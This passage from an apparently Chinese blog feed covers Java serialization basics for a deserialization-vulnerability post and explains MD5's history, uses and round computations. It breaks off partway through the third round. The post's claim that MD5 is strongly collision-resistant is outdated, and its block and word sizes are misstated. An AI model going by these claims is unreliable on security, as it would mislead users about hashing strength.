&lt;h2 id=&quot;1-漏洞原理&quot;&gt;&lt;a href=&quot;#1-漏洞原理&quot; class=&quot;headerlink&quot; title=&quot;1.漏洞原理&quot;&gt;&lt;/a&gt;1.漏洞原理&lt;/h2&gt;&lt;h3 id=&quot;1-1-Java序列化与反序列化&quot;&gt;&lt;a href=&quot;#1-1-Java序列化与反序列化&quot; class=&quot;headerlink&quot; title=&quot;1.1 Java序列化与反序列化&quot;&gt;&lt;/a&gt;1.1 Java序列化与反序列化&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;简单的说，把对象转换为字节序列的过程称为对象的序列化。把字节序列恢复为对象的过程称为对象的反序列化。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Java序列化的目的是为了将某些对象存储到磁盘上，从而长期保存，例如最常见的是Web服务器中的Session对象，当有 10万用户并发访问，就有可能出现10万个Session对象，内存可能吃不消，于是Web容器就会把一些seesion先序列化到硬盘中，等要用了，再把保存在硬盘中的对象还原到内存中。&lt;br&gt;或者当两个进程在进行远程通信时，彼此可以发送各种类型的数据。无论是何种类型的数据，都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列，才能在网络上传送；接收方则需要把字节序列再恢复为Java对象。&lt;br&gt;一个序列化与反序列化的典型场景如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;import java.io.FileInputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.FileOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.ObjectInputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.ObjectOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;public class deserial &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; public static void main(String args[]) throws Exception &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String obj = &amp;quot;hello world!&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 将序列化对象写入文件object.db中&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FileOutputStream fos = new FileOutputStream(&amp;quot;object.db&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ObjectOutputStream os = new ObjectOutputStream(fos);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; os.writeObject(obj);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; os.close();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 从文件object.db中读取数据&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FileInputStream fis = new FileInputStream(&amp;quot;object.db&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ObjectInputStream ois = new ObjectInputStream(fis);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 通过反序列化恢复对象obj&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String obj2 = (String)ois.readObject();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; System.out.println(obj2);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ois.close();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

</summary>

<category term="Java" scheme="http://32t.github.io/tags/Java/"/>

<category term="漏洞" scheme="http://32t.github.io/tags/%E6%BC%8F%E6%B4%9E/"/>

<category term="反序列化" scheme="http://32t.github.io/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>

</entry>

<entry>

<title>MD5 算法介绍</title>

<link href="http://32t.github.io/2016/07/03/MD5-%E7%AE%97%E6%B3%95%E4%BB%8B%E7%BB%8D/"/>

<id>http://32t.github.io/2016/07/03/MD5-算法介绍/</id>

<published>2016-07-03T05:41:49.000Z</published>

<updated>2016-07-03T06:02:25.000Z</updated>

<content type="html">&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;MD5即Message-Digest Algorithm 5（信息-摘要算法5），用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一（又译摘要算法、哈希算法），主流编程语言普遍已有MD5实现。将数据（如汉字）运算为另一固定长度值，是杂凑算法的基础原理，MD5的前身有MD2、MD3和MD4。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;MD5算法具有以下特点：&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;压缩性：任意长度的数据，算出的MD5值长度都是固定的。&lt;/li&gt;

&lt;li&gt;容易计算：从原数据计算出MD5值很容易。&lt;/li&gt;

&lt;li&gt;抗修改性：对原数据进行任何改动，哪怕只修改1个字节，所得到的MD5值都有很大区别。&lt;/li&gt;

&lt;li&gt;强抗碰撞：已知原数据和其MD5值，想找到一个具有相同MD5值的数据（即伪造数据）是非常困难的。&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;MD5的作用是让大容量信息在用数字签名软件签署私人密钥前被”压缩”成一种保密的格式（就是把一个任意长度的字节串变换成一定长的十六进制数字串）。除了MD5以外，其中比较有名的还有sha-1、RIPEMD以及Haval等。&lt;/p&gt;

&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;h1 id=&quot;MD5算法历史&quot;&gt;&lt;a href=&quot;#MD5算法历史&quot; class=&quot;headerlink&quot; title=&quot;MD5算法历史&quot;&gt;&lt;/a&gt;MD5算法历史&lt;/h1&gt;&lt;ol&gt;

&lt;li&gt;&lt;p&gt;MD2&lt;/p&gt;

&lt;p&gt;Rivest在1989年开发出MD2算法。在这个算法中，首先对信息进行数据补位，使信息的字节长度是16的倍数。然后，以一个16位的检验和追加到信息末尾，并且根据这个新产生的信息计算出散列值。后来，Rogier和Chauvaud发现如果忽略了检验将和MD2产生冲突。MD2算法加密后结果是唯一的（即不同信息加密后的结果不同）。&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;MD4&lt;/p&gt;

&lt;p&gt;为了加强算法的安全性，Rivest在1990年又开发出MD4算法。MD4算法同样需要填补信息以确保信息的比特位长度减去448后能被512整除（信息比特位长度mod 512 = 448）。然后，一个以64位二进制表示的信息的最初长度被添加进来。信息被处理成512位damg?rd/merkle迭代结构的区块，而且每个区块要通过三个不同步骤的处理。Den boer和Bosselaers以及其他人很快的发现了攻击MD4版本中第一步和第三步的漏洞。Dobbertin向大家演示了如何利用一部普通的个人电脑在几分钟内找到MD4完整版本中的冲突（这个冲突实际上是一种漏洞，它将导致对不同的内容进行加密却可能得到相同的加密后结果）。毫无疑问，MD4就此被淘汰掉了。&lt;/p&gt;

&lt;p&gt;尽管MD4算法在安全上有个这么大的漏洞，但它对在其后才被开发出来的好几种信息安全加密算法的出现却有着不可忽视的引导作用。&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;MD5&lt;/p&gt;

&lt;p&gt;1991年，Rivest开发出技术上更为趋近成熟的md5算法。它在MD4的基础上增加了”安全-带子”（safety-belts）的概念。虽然MD5比MD4复杂度大一些，但却更为安全。这个算法很明显的由四个和MD4设计有少许不同的步骤组成。在MD5算法中，信息-摘要的大小和填充的必要条件与MD4完全相同。Den boer和Bosselaers曾发现MD5算法中的假冲突（pseudo-collisions），但除此之外就没有其他被发现的加密后结果了。&lt;/p&gt;

&lt;/li&gt;

&lt;/ol&gt;

&lt;h1 id=&quot;MD5算法功能&quot;&gt;&lt;a href=&quot;#MD5算法功能&quot; class=&quot;headerlink&quot; title=&quot;MD5算法功能&quot;&gt;&lt;/a&gt;MD5算法功能&lt;/h1&gt;&lt;ol&gt;

&lt;li&gt;&lt;p&gt;防止被篡改：&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;比如发送一个电子文档，发送前，我先得到MD5的输出结果a。然后在对方收到电子文档后，对方也得到一个MD5的输出结果b。如果a与b一样就代表中途未被篡改。&lt;/li&gt;

&lt;li&gt;比如我提供文件下载，为了防止不法分子在安装程序中添加木马，我可以在网站上公布由安装文件得到的MD5输出结果。&lt;/li&gt;

&lt;li&gt;SVN在检测文件是否在CheckOut后被修改过，也是用到了MD5.&lt;/li&gt;

&lt;/ol&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;防止直接看到明文：&lt;br&gt;现在很多网站在数据库存储用户的密码的时候都是存储用户密码的MD5值。这样就算不法分子得到数据库的用户密码的MD5值，也无法知道用户的密码(其实这样是不安全的，后面我会提到)。（比如在UNIX系统中用户的密码就是以MD5（或其它类似的算法）经加密后存储在文件系统中。当用户登录的时候，系统把用户输入的密码计算成MD5值，然后再去和保存在文件系统中的MD5值进行比较，进而确定输入的密码是否正确。通过这样的步骤，系统在并不知道用户密码的明码的情况下就可以确定用户登录系统的合法性。这不但可以避免用户的密码被具有系统管理员权限的用户知道，而且还在一定程度上增加了密码被破解的难度。）&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;防止抵赖（数字签名）：&lt;/p&gt;

&lt;p&gt;这需要一个第三方认证机构。例如A写了一个文件，认证机构对此文件用MD5算法产生摘要信息并做好记录。若以后A说这文件不是他写的，权威机构只需对此文件重新产生摘要信息，然后跟记录在册的摘要信息进行比对，相同的话，就证明是A写的了。这就是所谓的“数字签名”。&lt;/p&gt;

&lt;/li&gt;

&lt;/ol&gt;

&lt;h1 id=&quot;MD5算法原理&quot;&gt;&lt;a href=&quot;#MD5算法原理&quot; class=&quot;headerlink&quot; title=&quot;MD5算法原理&quot;&gt;&lt;/a&gt;MD5算法原理&lt;/h1&gt;&lt;p&gt;对MD5算法简要的叙述可以为：MD5以512位分组来处理输入的信息，且每一分组又被划分为16个32位子分组，经过了一系列的处理后，算法的输出由四个32位分组组成，将这四个32位分组级联后将生成一个128位散列值。&lt;/p&gt;

&lt;h2 id=&quot;第一步、填充：&quot;&gt;&lt;a href=&quot;#第一步、填充：&quot; class=&quot;headerlink&quot; title=&quot;第一步、填充：&quot;&gt;&lt;/a&gt;第一步、填充：&lt;/h2&gt;&lt;p&gt;如果输入信息的长度(bit)对512求余的结果不等于448，就需要填充使得对512求余的结果等于448。填充的方法是填充一个1和n个0。填充完后，信息的长度就为N*512+448(bit)；&lt;/p&gt;

&lt;h2 id=&quot;第二步、记录信息长度：&quot;&gt;&lt;a href=&quot;#第二步、记录信息长度：&quot; class=&quot;headerlink&quot; title=&quot;第二步、记录信息长度：&quot;&gt;&lt;/a&gt;第二步、记录信息长度：&lt;/h2&gt;&lt;p&gt;用64位来存储填充前信息长度。这64位加在第一步结果的后面，这样信息长度就变为&lt;code&gt;N*512+448+64=(N+1)*512&lt;/code&gt;位。&lt;/p&gt;

&lt;h2 id=&quot;第三步、装入标准的幻数（四个整数）：&quot;&gt;&lt;a href=&quot;#第三步、装入标准的幻数（四个整数）：&quot; class=&quot;headerlink&quot; title=&quot;第三步、装入标准的幻数（四个整数）：&quot;&gt;&lt;/a&gt;第三步、装入标准的幻数（四个整数）：&lt;/h2&gt;&lt;p&gt;标准的幻数（物理顺序）是&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;A=(01234567)16，B=(89ABCDEF)16，C=(FEDCBA98)16，D=(76543210)16&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;如果在程序中定义应该是&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;A=0X67452301L，B=0XEFCDAB89L，C=0X98BADCFEL，D=0X10325476L&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;因为是小端的原因。&lt;/p&gt;

&lt;h2 id=&quot;第四步、分组个数（N-1）次四轮循环运算&quot;&gt;&lt;a href=&quot;#第四步、分组个数（N-1）次四轮循环运算&quot; class=&quot;headerlink&quot; title=&quot;第四步、分组个数（N+1）次四轮循环运算&quot;&gt;&lt;/a&gt;第四步、分组个数（N+1）次四轮循环运算&lt;/h2&gt;&lt;ol&gt;

&lt;li&gt;将每一512字节细分成16个小组，每个小组64位（8个字节）&lt;/li&gt;

&lt;li&gt;&lt;p&gt;定义四个线性函数(&amp;amp;是与,|是或,~是非,^是异或)&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;F(X,Y,Z)=(X&amp;amp;Y)|((~X)&amp;amp;Z)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;G(X,Y,Z)=(X&amp;amp;Z)|(Y&amp;amp;(~Z))&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;H(X,Y,Z)=X^Y^Z&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;I(X,Y,Z)=Y^(X|(~Z))&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;设Mj表示消息的第j个子分组（从0到15），&amp;lt;&amp;lt;&amp;lt;s表示循环左移s位，则四种操作为：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;FF(a,b,c,d,M[j],s,t[i])表示a=b+((a+F(b,c,d)+M[j]+t[i])&amp;lt;&amp;lt;&amp;lt;s)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;GG(a,b,c,d,M[j],s,t[i])表示a=b+((a+G(b,c,d)+M[j]+t[i])&amp;lt;&amp;lt;&amp;lt;s)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;HH(a,b,c,d,M[j],s,t[i])表示a=b+((a+H(b,c,d)+M[j]+t[i])&amp;lt;&amp;lt;&amp;lt;s)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;II(a,b,c,d,M[j],s,t[i])表示a=b+((a+I(b,c,d)+M[j]+t[i])&amp;lt;&amp;lt;&amp;lt;s)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;T[i]等于4294967296*abs(sin(i))所得结果的整数部分，其中k用弧度来表示。(这样做是为了通过正弦函数和幂函数来进一步消除变换中的线性) 4294967296=2^32&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;四轮运算&lt;br&gt;第一轮&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;a=FF(a,b,c,d,M0,7,0xd76aa478)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=FF(d,a,b,c,M1,12,0xe8c7b756)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=FF(c,d,a,b,M2,17,0x242070db)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=FF(b,c,d,a,M3,22,0xc1bdceee)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=FF(a,b,c,d,M4,7,0xf57c0faf)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=FF(d,a,b,c,M5,12,0x4787c62a)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=FF(c,d,a,b,M6,17,0xa8304613)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=FF(b,c,d,a,M7,22,0xfd469501)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=FF(a,b,c,d,M8,7,0x698098d8)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=FF(d,a,b,c,M9,12,0x8b44f7af)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=FF(c,d,a,b,M10,17,0xffff5bb1)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=FF(b,c,d,a,M11,22,0x895cd7be)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=FF(a,b,c,d,M12,7,0x6b901122)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=FF(d,a,b,c,M13,12,0xfd987193)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=FF(c,d,a,b,M14,17,0xa679438e)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=FF(b,c,d,a,M15,22,0x49b40821)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;第二轮&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;a=GG(a,b,c,d,M1,5,0xf61e2562)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=GG(d,a,b,c,M6,9,0xc040b340)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=GG(c,d,a,b,M11,14,0x265e5a51)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=GG(b,c,d,a,M0,20,0xe9b6c7aa)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=GG(a,b,c,d,M5,5,0xd62f105d)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=GG(d,a,b,c,M10,9,0x02441453)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=GG(c,d,a,b,M15,14,0xd8a1e681)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=GG(b,c,d,a,M4,20,0xe7d3fbc8)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=GG(a,b,c,d,M9,5,0x21e1cde6)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=GG(d,a,b,c,M14,9,0xc33707d6)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=GG(c,d,a,b,M3,14,0xf4d50d87)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=GG(b,c,d,a,M8,20,0x455a14ed)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=GG(a,b,c,d,M13,5,0xa9e3e905)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=GG(d,a,b,c,M2,9,0xfcefa3f8)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=GG(c,d,a,b,M7,14,0x676f02d9)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=GG(b,c,d,a,M12,20,0x8d2a4c8a)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;第三轮&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;a=HH(a,b,c,d,M5,4,0xfffa3942)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=HH(d,a,b,c,M8,11,0x8771f681)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=HH(c,d,a,b,M11,16,0x6d9d6122)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=HH(b,c,d,a,M14,23,0xfde5380c)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=HH(a,b,c,d,M1,4,0xa4beea44)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=HH(d,a,b,c,M4,11,0x4bdecfa9)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=HH(c,d,a,b,M7,16,0xf6bb4b60)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;d=HH(b,c,d,a,M10,23,0xbebfbc70)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;a=HH(a,b,c,d,M13,4,0x289b7ec6)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;b=HH(d,a,b,c,M0,11,0xeaa127fa)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;c=HH(c,d,a,b,M3,16,0xd4ef3085)&lt;/span&gt;&lt;br&gt;&lt;span 